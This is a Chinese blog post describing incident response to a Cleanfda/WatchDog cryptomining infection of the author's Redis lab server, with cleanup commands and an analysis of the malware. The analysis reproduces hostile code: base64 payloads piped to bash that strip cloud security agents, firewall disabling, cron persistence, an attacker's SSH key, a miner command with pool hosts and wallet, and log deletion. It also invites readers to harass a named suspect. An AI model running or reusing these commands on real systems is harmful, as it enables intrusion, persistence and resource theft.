【2024挖矿应急实战】记录一次HW前夕的挖矿病毒应急实战

admin 2024年4月19日08:50:25评论84 views字数 13614阅读45分22秒阅读模式
前言

事件的起因还得从我在自己的vps上部署了一个空口令的redis靶场说起,因为我靶场是在公网的(别问我为啥部署在公网,公网打着有感觉),没想到打着打着被别人get shell了,打的时候发现服务器特别卡,然后就收到了腾讯云发的短信提示。于是马上进行应急排查,发现cpu跑到100%了,还有对外攻击行为。好家伙,由此有了以下应急响应的经过。

(正好HW将至,这篇文章也许能帮助各位师傅了解相关挖矿木马的排查)

确定攻击类型

突然发现用着用着很卡,于是就瞄了一眼cpu使用情况

(我用的是finalShell,左上角可以直接查看),发现到了100%,但是输入了top命令却发现cpu正常,因此猜测应该做了相关进程隐藏。

【2024挖矿应急实战】记录一次HW前夕的挖矿病毒应急实战

1、当时和这个情况差不多,当时忘记截图了,找一张补一下。反正就使用top命令正常,但是finanlShell提示cpu到了100%。基本可以确定是被植入了挖矿病毒了。

应急阶段

1、暂停相关进程

首先是暂停掉相关任务,然后删除相关文件,恶意脚本以及应急。因为这里是自己普通使用的云服务器,没有什么业务,而且top显示正常,我就直接reboot重启了。

cpu先恢复正常了。我后面也去查了怎么回事,原来隐藏相关进程是通过修改/etc/ld.so.preload 文件来实现的。这里涉及到 Linux 动态链接库预加载机制,是一种常用的进程隐藏方法,而 top 等命令都是受这个机制影响的。查看相关文件删除里面的内容即可,然后top命令显示正常即可正式删除。

在 Linux 操作系统的动态链接库加载过程中,动态链接器会读取 LD_PRELOAD 环境变量的值和默认配置文件 /etc/ld.so.preload 的文件内容,并将读取到的动态链接库进行预加载,即使程序不依赖这些动态链接库,LD_PRELOAD 环境变量和 /etc/ld.so.preload 配置文件中指定的动态链接库依然会被装载,它们的优先级比 LD_LIBRARY_PATH 环境变量所定义的链接库查找路径的文件优先级要高,所以能够提前于用户调用的动态库载入。
——段落引自《警惕利用 Linux 预加载型恶意动态链接库的后门》

2、确定攻击时间

我先找到了一个恶意脚本,发现文件上传的时间在"2024-04-16 17:03"时上传的,相关挖矿程序是一个恶意文件,很快就进行了相关操作,因此确定时间为前后几分钟之类。因此根据这个时间来观察相应操作,

find / -newermt"2024-04-16 17:00" ! -newermt"2024-04-16 17:07"● / 表示从根目录开始搜索,你可以替换为任何特定的目录。● -newermt 选项后面跟一个日期字符串,表示在这个时间之后被修改过的文件。● ! -newermt 表示对上一个选项的结果取反,也就是说排除在此之后修改过的文件。

可以看到如下文件发生了变化。可能有相关计划任务,用户添加,恶意脚本、写入公钥等操作:

/etc/passwd/etc/group/etcshadow/tmp/zzh/root/.ssh/authorized_keys

3、删除相关恶意脚本

开始确定恶意脚本位置后我尝试直接删除,发现删除不了(是的,管理员也不能删除,我嘞个豆)。

我赶紧去请教一位师傅,那位师傅提示我被chattr锁了。我就搜搜chattr是什么。

有以下两种情况文件不可删除:1. chattr 命令的执行文件可能本身的权限被修改了,导致即便root用户也无法执行。2. 文件系统可能是只读挂载的,或者文件系统存在错误。

4、chattr介绍

/usr/bin/chattr是在Linux系统中用于修改文件属性的一个命令,这些属性对文件的保护和维护至关重要。这里有几个重要的文件属性可以通过chattr命令来设置或删除:

i(不可变)属性:当文件设置了这个属性后,没有任何用户(包括root用户)可以修改该文件,这意味着文件不能被删除、重命名、链接也不能修改数据;只能读取。chattr +i filename

a(仅追加)属性:设置了这个属性后,文件只能被追加内容,也就是只能写入而不能删除或修改文件中的数据。chattr +a filename

s(安全删除)属性:一旦应用了这个属性,当文件从磁盘上删除时,它的内容会被零填充,以及真实分配的磁盘区域会被释放回磁盘。chattr +s filename

S(同步更新)属性:设置了这个属性后,文件的修改会立即同步到磁盘。chattr +S filename

A(不更新访问时间)属性:通常在读取文件的情况下,文件的访问时间会被更新,如果设置了这个属性,访问时间不会被修改。chattr +A filename

d(不倾倒)属性:当文件系统使用倾倒(dump)备份时,这个属性会阻止文件被倾倒。chattr +d filename

u(不删除)属性:即使删除了该属性的文件,系统也允许你恢复这个删除的文件内容。chattr +u filename

chattr命令需要管理员(root)权限来执行,并且这个命令非常强大,可以有效防止关键文件被恶意修改或删除。

5、既然不可删除,应该有这个i或者a的属性,那我尝试取消这个属性试试呗。但是提示我chatter的权限不够,我去,chatter权限也被更改了

于是我查看chatter权限,发现只有read的权限。

重新赋予其755(root用户rwx,其他用户只有rx)

这时候再取消这个文件的chatter的i权限就可以了,恶意脚本其实还有a权限。都一并取消就好了,这下就可以删除了。

lsattr newinit.sh //查看恶意脚本权限chattr -i newinit.shchattr -a newinit.shrm -rf newinit.sh

6、接着查看相关计划任务

crontab -l/etc/cron.d

大胆妖魔,一眼就看出不是人,杀!杀!杀!删除/etc/cron.d时,也提示无法删除,按照上面恶意脚本删除就好了。

"*/50 * * * * sh /etc/newinit.sh >/dev/null 2>&1" >> ${crondir}"*/50 * * * * root sh /etc/newinit.sh >/dev/null 2>&1" >> /etc/cron.d/zzh"0 1 * * * root sh /etc/newinit.sh >/dev/null 2>&1" >> /etc/crontab

7、查看添加的用户

查看/etc/passwd、/etc/group、/etcshadow、发现有redis这个用户,继续 杀!杀!杀!

8、检查相关公私钥

查看/root/.ssh/authorized_keys文件,果然被写入了,继续杀!

到这里相关文件也基本上处理干净了

挖矿病毒脚本分析

(恶意脚本全部代码有1000多行,这里就不放出来了,有想自己研究研究的师傅私聊把)

脚本具体执行内容如下:

1、关闭防火墙

这里开启使用chatter,然后/tmp目录更改权限,并关闭防火墙。

ulimit -n 65535chmod 777 /usr/bin/chattrchmod 777 /bin/chattrchattr -iua /tmp/chattr -iua /var/tmp/iptables -Fufw disable

2、卸载云镜或者阿里云盾

if ps aux | grep -i '[a]liyun'; then  $bbdir http://update.aegis.aliyun.com/download/uninstall.sh | bash  $bbdir http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash  $bbdira http://update.aegis.aliyun.com/download/uninstall.sh | bash  $bbdira http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash  echo 'IyEvYmluL2Jhc2gKCkFFR0lTX0lOU1RBTExfRElSPSIvdXNyL2xvY2FsL2FlZ2lzIgojY2hlY2sgbGludXggR2VudG9vIG9zIAp2YXI9YGxzYl9yZWxlYXNlIC1hIHwgZ3JlcCBHZW50b29gCmlmIFsgLXogIiR7dmFyfSIgXTsgdGhlbiAKCXZhcj1gY2F0IC9ldGMvaXNzdWUgfCBncmVwIEdlbnRvb2AKZmkKY2hlY2tDb3Jlb3M9YGNhdCAvZXRjL29zLXJlbGVhc2UgMj4vZGV2L251bGwgfCBncmVwIGNvcmVvc2AKaWYgWyAtZCAiL2V0Yy9ydW5sZXZlbHMvZGVmYXVsdCIgLWEgLW4gIiR7dmFyfSIgXTsgdGhlbgoJTElOVVhfUkVMRUFTRT0iR0VOVE9PIgplbGlmIFsgLWYgIi9ldGMvb3MtcmVsZWFzZSIgLWEgLW4gIiR7Y2hlY2tDb3Jlb3N9IiBdOyB0aGVuCglMSU5VWF9SRUxFQVNFPSJDT1JFT1MiCglBRUdJU19JTlNUQUxMX0RJUj0iL29wdC9hZWdpcyIKZWxzZSAKCUxJTlVYX1JFTEVBU0U9Ik9USEVSIgpmaQkJCgpzdG9wX2FlZ2lzX3BraWxsKCl7CiAgICBwa2lsbCAtOSBBbGlZdW5EdW4gPi9kZXYvbnVsbCAyPiYxCiAgICBwa2lsbCAtOSBBbGlIaWRzID4vZGV2L251bGwgMj4mMQogICAgcGtpbGwgLTkgQWxpSGlwcyA+L2Rldi9udWxsIDI+JjEKICAgIHBraWxsIC05IEFsaU5ldCA+L2Rldi9udWxsIDI+JjEKICAgIHBraWxsIC05IEFsaVNlY0d1YXJkID4vZGV2L251bGwgMj4mMQogICAgcGtpbGwgLTkgQWxpWXVuRHVuVXBkYXRlID4vZGV2L251bGwgMj4mMQogICAgCiAgICAvdXNyL2xvY2FsL2FlZ2lzL0FsaU5ldC9BbGlOZXQgLS1zdG9wZHJpdmVyCiAgICAvdXNyL2xvY2FsL2FlZ2lzL2FsaWhpcHMvQWxpSGlwcyAtLXN0b3Bkcml2ZXIKICAgIC91c3IvbG9jYWwvYWVnaXMvQWxpU2VjR3VhcmQvQWxpU2VjR3VhcmQgLS1zdG9wZHJpdmVyCiAgICBwcmludGYgIiUtNDBzICU0MHNcbiIgIlN0b3BwaW5nIGFlZ2lzIiAiWyAgT0sgIF0iCn0KCiMgY2FuIG5vdCByZW1vdmUgYWxsIGFlZ2lzIGZvbGRlciwgYmVjYXVzZSB0aGVyZSBpcyBiYWNrdXAgZmlsZSBpbiBnbG9iYWxjZmcKcmVtb3ZlX2FlZ2lzKCl7Cmtwcm9iZUFycj0oCiAgICAiL3N5cy9rZXJuZWwvZGVidWcvdHJhY2luZy9pbnN0YW5jZXMvYWVnaXNfZG9fc3lzX29wZW4vc2V0X2V2ZW50IgogICAgIi9zeXMva2VybmVsL2RlYnVnL3RyYWNpbmcvaW5zdGFuY2VzL2FlZ2lzX2luZXRfY3NrX2FjY2VwdC9zZXRfZXZlbnQiCiAgICAiL3N5cy9rZXJuZWwvZGVidWcvdHJhY2luZy9pbnN0YW5jZXMvYWVnaXNfdGNwX2Nvbm5lY3Qvc2V0X2V2ZW50IgogICAgIi9zeXMva2VybmVsL2RlYnVnL3RyYWNpbmcvaW5zdGFuY2VzL2FlZ2lzL3NldF9ldmVudCIKICAgICIvc3lzL2tlcm5lbC9kZWJ1Zy90cmFjaW5nL2luc3RhbmNlcy9hZWdpc18vc2V0X2V2ZW50IgogICAgIi9zeXMva2VybmVsL2RlYnVnL3RyYWNpbmcvaW5zdGFuY2VzL2FlZ2lzX2FjY2VwdC9zZXRfZXZlbnQiCiAgICAiL3N5cy9rZXJuZWwvZGVidWcvdHJhY2luZy9rcHJvYmVfZXZlbnRzIgogICAgIi91c3IvbG9jYWwvYWVnaXMvYWVnaXNfZGVidWcvdHJhY2luZy9zZXRfZXZlbnQiCiAgICAiL3Vzci9sb2NhbC9hZWdpcy9hZWdpc19kZWJ1Zy90cmFjaW5nL2twcm9iZV9ldmVudHMiCikKZm9yIHZhbHVlIGluICR7a3Byb2JlQXJyW0BdfQpkbwogICAgaWYgWyAtZiAiJHZhbHVlIiBdOyB0aGVuCiAgICAgICAgZWNobyA+ICR2YWx1ZQogICAgZmkKZG9uZQppZiBbIC1kICIke0FFR0lTX0lOU1RBTExfRElSfSIgXTt0aGVuCiAgICB1bW91bnQgJHtBRUdJU19JTlNUQUxMX0RJUn0vYWVnaXNfZGVidWcKICAgIGlmIFsgLWQgIiR7QUVHSVNfSU5TVEFMTF9ESVJ9L2Nncm91cC9jcHUiIF07dGhlbgogICAgICAgIHVtb3VudCAke0FFR0lTX0lOU1RBTExfRElSfS9jZ3JvdXAvY3B1CiAgICBmaQogICAgaWYgWyAtZCAiJHtBRUdJU19JTlNUQUxMX0RJUn0vY2dyb3VwIiBdO3RoZW4KICAgICAgICB1bW91bnQgJHtBRUdJU19JTlNUQUxMX0RJUn0vY2dyb3VwCiAgICBmaQogICAgcm0gLXJmICR7QUVHSVNfSU5TVEFMTF9ESVJ9L2FlZ2lzX2NsaWVudAogICAgcm0gLXJmICR7QUVHSVNfSU5TVEFMTF9ESVJ9L2FlZ2lzX3VwZGF0ZQoJcm0gLXJmICR7QUVHSVNfSU5TVEFMTF9ESVJ9L2FsaWhpZHMKICAgIHJtIC1yZiAke0FFR0lTX0lOU1RBTExfRElSfS9nbG9iYWxjZmcvZG9tYWluY2ZnLmluaQpmaQp9Cgp1bmluc3RhbGxfc2VydmljZSgpIHsKICAgCiAgIGlmIFsgLWYgIi9ldGMvaW5pdC5kL2FlZ2lzIiBdOyB0aGVuCgkJL2V0Yy9pbml0LmQvYWVnaXMgc3RvcCAgPi9kZXYvbnVsbCAyPiYxCgkJcm0gLWYgL2V0Yy9pbml0LmQvYWVnaXMgCiAgIGZpCgoJaWYgWyAkTElOVVhfUkVMRUFTRSA9ICJHRU5UT08iIF07IHRoZW4KCQlyYy11cGRhdGUgZGVsIGFlZ2lzIGRlZmF1bHQgMj4vZGV2L251bGwKCQlpZiBbIC1mICIvZXRjL3J1bmxldmVscy9kZWZhdWx0L2FlZ2lzIiBdOyB0aGVuCgkJCXJtIC1mICIvZXRjL3J1bmxldmVscy9kZWZhdWx0L2FlZ2lzIiA+L2Rldi9udWxsIDI+JjE7CgkJZmkKICAgIGVsaWYgWyAtZiAvZXRjL2luaXQuZC9hZWdpcyBdOyB0aGVuCiAgICAgICAgIC9ldGMvaW5pdC5kL2FlZ2lzICB1bmluc3RhbGwKCSAgICBmb3IgKCh2YXI9MjsgdmFyPD01OyB2YXIrKykpIGRvCgkJCWlmIFsgLWQgIi9ldGMvcmMke3Zhcn0uZC8iIF07dGhlbgoJCQkJIHJtIC1mICIvZXRjL3JjJHt2YXJ9LmQvUzgwYWVnaXMiCgkJICAgIGVsaWYgWyAtZCAiL2V0Yy9yYy5kL3JjJHt2YXJ9LmQiIF07dGhlbgoJCQkJcm0gLWYgIi9ldGMvcmMuZC9yYyR7dmFyfS5kL1M4MGFlZ2lzIgoJCQlmaQoJCWRvbmUKICAgIGZpCgp9CgpzdG9wX2FlZ2lzX3BraWxsCnVuaW5zdGFsbF9zZXJ2aWNlCnJlbW92ZV9hZWdpcwp1bW91bnQgJHtBRUdJU19JTlNUQUxMX0RJUn0vYWVnaXNfZGVidWcKCgpwcmludGYgIiUtNDBzICU0MHNcbiIgIlVuaW5zdGFsbGluZyBhZWdpcyIgICJbICBPSyAgXSIKCgoK' | base64 -d | bash  echo 'IyEvYmluL2Jhc2gKCiNjaGVjayBsaW51eCBHZW50b28gb3MgCnZhcj1gbHNiX3JlbGVhc2UgLWEgfCBncmVwIEdlbnRvb2AKaWYgWyAteiAiJHt2YXJ9IiBdOyB0aGVuIAoJdmFyPWBjYXQgL2V0Yy9pc3N1ZSB8IGdyZXAgR2VudG9vYApmaQoKaWYgWyAtZCAiL2V0Yy9ydW5sZXZlbHMvZGVmYXVsdCIgLWEgLW4gIiR7dmFyfSIgXTsgdGhlbgoJTElOVVhfUkVMRUFTRT0iR0VOVE9PIgplbHNlCglMSU5VWF9SRUxFQVNFPSJPVEhFUiIKZmkKCnN0b3BfYWVnaXMoKXsKCWtpbGxhbGwgLTkgYWVnaXNfY2xpID4vZGV2L251bGwgMj4mMQoJa2lsbGFsbCAtOSBhZWdpc191cGRhdGUgPi9kZXYvbnVsbCAyPiYxCglraWxsYWxsIC05IGFlZ2lzX2NsaSA+L2Rldi9udWxsIDI+JjEKICAgIHByaW50ZiAiJS00MHMgJTQwc1xuIiAiU3RvcHBpbmcgYWVnaXMiICJbICBPSyAgXSIKfQoKc3RvcF9xdWFydHooKXsKCWtpbGxhbGwgLTkgYWVnaXNfcXVhcnR6ID4vZGV2L251bGwgMj4mMQogICAgICAgIHByaW50ZiAiJS00MHMgJTQwc1xuIiAiU3RvcHBpbmcgcXVhcnR6IiAiWyAgT0sgIF0iCn0KCnJlbW92ZV9hZWdpcygpewppZiBbIC1kIC91c3IvbG9jYWwvYWVnaXMgXTt0aGVuCiAgICBybSAtcmYgL3Vzci9sb2NhbC9hZWdpcy9hZWdpc19jbGllbnQKICAgIHJtIC1yZiAvdXNyL2xvY2FsL2FlZ2lzL2FlZ2lzX3VwZGF0ZQpmaQp9CgpyZW1vdmVfcXVhcnR6KCl7CmlmIFsgLWQgL3Vzci9sb2NhbC9hZWdpcyBdO3RoZW4KCXJtIC1yZiAvdXNyL2xvY2FsL2FlZ2lzL2FlZ2lzX3F1YXJ0egpmaQp9CgoKdW5pbnN0YWxsX3NlcnZpY2UoKSB7CiAgIAogICBpZiBbIC1mICIvZXRjL2luaXQuZC9hZWdpcyIgXTsgdGhlbgoJCS9ldGMvaW5pdC5kL2FlZ2lzIHN0b3AgID4vZGV2L251bGwgMj4mMQoJCXJtIC1mIC9ldGMvaW5pdC5kL2FlZ2lzIAogICBmaQoKCWlmIFsgJExJTlVYX1JFTEVBU0UgPSAiR0VOVE9PIiBdOyB0aGVuCgkJcmMtdXBkYXRlIGRlbCBhZWdpcyBkZWZhdWx0IDI+L2Rldi9udWxsCgkJaWYgWyAtZiAiL2V0Yy9ydW5sZXZlbHMvZGVmYXVsdC9hZWdpcyIgXTsgdGhlbgoJCQlybSAtZiAiL2V0Yy9ydW5sZXZlbHMvZGVmYXVsdC9hZWdpcyIgPi9kZXYvbnVsbCAyPiYxOwoJCWZpCiAgICBlbGlmIFsgLWYgL2V0Yy9pbml0LmQvYWVnaXMgXTsgdGhlbgogICAgICAgICAvZXRjL2luaXQuZC9hZWdpcyAgdW5pbnN0YWxsCgkgICAgZm9yICgodmFyPTI7IHZhcjw9NTsgdmFyKyspKSBkbwoJCQlpZiBbIC1kICIvZXRjL3JjJHt2YXJ9LmQvIiBdO3RoZW4KCQkJCSBybSAtZiAiL2V0Yy9yYyR7dmFyfS5kL1M4MGFlZ2lzIgoJCSAgICBlbGlmIFsgLWQgIi9ldGMvcmMuZC9yYyR7dmFyfS5kIiBdO3RoZW4KCQkJCXJtIC1mICIvZXRjL3JjLmQvcmMke3Zhcn0uZC9TODBhZWdpcyIKCQkJZmkKCQlkb25lCiAgICBmaQoKfQoKc3RvcF9hZWdpcwpzdG9wX3F1YXJ0egp1bmluc3RhbGxfc2VydmljZQpyZW1vdmVfYWVnaXMKcmVtb3ZlX3F1YXJ0egoKcHJpbnRmICIlLTQwcyAlNDBzXG4iICJVbmluc3RhbGxpbmcgYWVnaXNfcXVhcnR6IiAgIlsgIE9LICBdIgoKCgo=' | base64 -d | bash  pkill aliyun-service  rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service  rm -rf /usr/local/aegis*  systemctl stop aliyun.service  systemctl disable aliyun.service  service bcm-agent stop  yum remove bcm-agent -y  apt-get remove bcm-agent -yelif ps aux | grep -i '[y]unjing'; then  /usr/local/qcloud/stargate/admin/uninstall.sh  /usr/local/qcloud/YunJing/uninst.sh  /usr/local/qcloud/monitor/barad/admin/uninstall.sh

3、下载恶意文件

miner_url="http://45.xxx.xxx.29/cleanfda/zzh"miner_url_backup="http://xxxxx.top/cleanfda/zzh"miner_size="2269048"sh_url="http://45.xxx.xxx.29/cleanfda/newinit.sh"sh_url_backup="http://xxxxx.top/cleanfda/newinit.sh"chattr_size="8000"

4、添加计划任务

echo "*/50 * * * * sh /etc/newinit.sh >/dev/null 2>&1" >> ${crondir}echo "*/50 * * * * root sh /etc/newinit.sh >/dev/null 2>&1" >> /etc/cron.d/zzhecho "0 1 * * * root sh /etc/newinit.sh >/dev/null 2>&1" >> /etc/crontab

5、更改相关文件权限

相关文件加上chattr的ia权限,给chattr只有r权限,这也是为什么我们最开始执行chattr -i newinit.sh失败的原因

chmod 777 /tmp/zzhchattr +i /tmp/zzhchmod 777 /tmp/newinit.shchattr +i /tmp/newinit.sh
chmod 444 /usr/bin/chattrchmod 444 /bin/chattr

6、写入公钥

chmod 700 /root/.ssh/echo >> /root/.ssh/authorized_keyschmod 600 /root/.ssh/authorized_keysecho "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC3QgqCevA1UIX9jkWJNzaDHmCFQMCVn6DlhT8Tj1CcBLouOPpuBVqGoZem9UT/sdy563H+e1cQD6LRA9lgyBO8VBOuyjlPf/rdYeXZRv9eFZ4ROGCOX/dvNzV9XdEyPX+znEL4AS45ko0obSqNGbserHPcKtXBjjcf9zWtRvBA4lteyXENWeCST61OhVI0K7bNTUHsQhFC0rgiGFqVv+kIwMVauMxeNd5PjsES4C5P9G8Ynligmdxp7LdOFeb5/V/iO8eceQsxLyXVCe2Jue5gaaOIbKy2j2HPxj6qK2BUqlx+dJdat6HE2HyPWDKD5jPyA5RCSs1zphe7BQjH20cX1nyzbhxNNQncs5BfB0kk2Qcb9IS/ofX9p8zIVKLUHMUNC9mKqPljzxH/3wYnOZrgebS4uwfyad+6SQ1oRfs1vWotXxSz1hBjhRPpUqzA7J865AcSOZBaoRsRKZ1BaGMyJyjIfkecFgeDpmbHzOzCjIXAeh20S2wLYZGdrhgVEr0= uc1" > /root/.ssh/authorized_keys

7、挖矿代码

./zzh --log-file=/etc/etc --keepalive --no-color --cpu-priority 5 -o dev.fugglesoft.me:5443 --tls --nicehash --coin monero -o 80.211.206.105:9000 -u 88MjAGcUuFzRM2AaUK1qoj9uTp9VBaFzDDUARzmTZL1XUU3DVVkAtxUUb5sHtFMisnSy5dSLQHfUBVdEVgwuwXm5E7LzQ4z.22 --tls --coin monero -o opn.xxxx.top:5443 --tls --nicehash --coin monero --background &

8、相关进程

chattr -R -ia /usr/bin/TeamTNT/*chattr -R -ia /usr/bin/watchdogd*rm -rf /usr/bin/watchdogd*service crypto stopsystemctl stop crypto.servicesystemctl stop watchdogdservice watchdogd stop

9、删除日志

噢对,相关日志也删除了。nnd

rm -rf /tmp/addres*rm -rf /tmp/walle*rm -rf /tmp/keysrm -rf /var/log/syslog

10、对外攻击

还有一个对外攻击的脚本,我还没有来得及保存就删除了,那个脚本功能应该会下载一个端口扫描的工具,然后对其他网段进行扫描,目的就是扩大感染范围。

挖矿病毒总结

1. 通过Redis未授权访问漏洞入侵机器并修改crontab任务

a) 覆写crontab任务;b) 清理其他恶意程序;c) 解锁删除相关系统文件;d) 下载执行恶意文件;e) 横向扫描其他机器;f) 清理相关文件和痕迹。

2. crontab任务执行bash脚本

3. 恶意文件执行实现写开机启动、服务项并释放动态链接库实现隐藏,同时释放执行挖矿程序

如果大家遇到了类似的挖矿病毒,这里总结了部分网上公开的方法:
# 第一步:首先修改服务器root密码,防止继续攻击

# 第二步:尝试恢复chmod 774 /usr/bin/chattrchattr -ia /etc/zzh*chattr -ia /etc/newinit.sh*chattr -ia /root/.ssh/authorized_keys*chattr -R -ia /root/.sshrm -rf /etc/zzh*rm -rf /etc/zzhs     rm -rf /etc/newinit.sh*rm -rf /etc/init.sh*mv  /usr/bin/wd1 /usr/bin/wgetmv  /usr/bin/cd1 /usr/bin/curlecho 0 > /proc/sys/vm/nr_hugepagessysctl -w vm.nr_hugepages=0chattr -i /etc/resolv.conf 2>/dev/null 1>/dev/nullecho "nameserver x.x.x.x" > /etc/resolv.confecho "nameserver x.x.x.x" >> /etc/resolv.confchattr -R -ia /var/spool/cronchattr -ia /etc/crontabchattr -R -ia /var/spool/cron/crontabschattr -R -ia /etc/cron.drm -rf      /etc/cron.d/zzhpkill -f zzhpkill zzhpkill .zzhrm -rf /etc/zzh

chattr -ia /tmp/zzh*chattr -ia /tmp/newinit.sh*rm -rf /tmp/zzh*rm -rf /tmp/newinit.sh*pkill pnscanpkill masscanpkill cd1pkill wd1rm -rf /var/tmp/.ice-unix/rm -rf /tmp/.ice-unix/rm -rf /usr/local/bin/pnscanrm -rf /usr/bin/pnscanrm -rf /usr/local/bin/masscanrm -rf /usr/bin/masscanps -ef | grep 'cleanfda' | awk '{print $2}' |xargs kill -9ps -ef | grep 'newinit.sh' | awk '{print $2}' |xargs kill -9



# 查看下 more /bin/ps # 如果ps命令也被篡改,则修复下:

chattr -ia /bin/psrm -rf /bin/psmv /bin/ps.original /bin/ps 

chattr -ia /bin/toprm -rf /bin/topmv  /bin/top.original /bin/top

chattr -ia /bin/pstreerm -rf /bin/pstreemv  /bin/pstree.original /bin/pstree
后续内容

至此应急到这基本就结束了,但是突然想起前几天一个小伙伴的公司测试服务器也被植入挖矿了,不过因为是测试服务器,他们直接重装了。

代码如下:

bash代码有高度重合性,可能是同一个组织,让我确定是同一个组织是文件都tnnd的被写入了f**kyou。。。

忍不了了,我倒要看看是什么组织做这种缺德的事,已经知道是Cleanfda这个挖矿类型,那就对这个组织展开调查!

在刚才的一个进程中,我们看到有个进程叫做WatchDog,一般来说进程名都是一个组织的标志之一,还有一个什么TeamTNT?这些都可以作为特征在网上搜索。

通过搜索,确实让我在网上看到了相关组织信息

组织信息

WatchDog 挖矿作业至少自 2019 年 1 月 27 日起就开始进行,主要收集门罗币加密币 (XMR),主要攻击方式为Docker Remote API未授权访问、配置错误的Kubernetes集群、Redis服务暴力破解或者空口令。

让我意外的是,我直接搜索Teamtnt就让我搜到了一个github相关的地址,从他的仓库看来,貌似为红队工具,八九不离十就是这个人了。

在相关个人信息栏上,他留下了自己的推*用户

HildeGard@TeamTNT

好家伙,人找到了,有小伙伴帮我网暴他不?

相关消息表示该组织可能来自德国,因为他们用德语编写其推文和 bash 脚本。所以定位其总部在德国,也有其他组织也定位到该组织位于德国。具体人就不好找了,能力有限。

感谢阅读,关注下呗~~

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月19日08:50:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【2024挖矿应急实战】记录一次HW前夕的挖矿病毒应急实战https://cn-sec.com/archives/2671196.html

发表评论

匿名网友 填写信息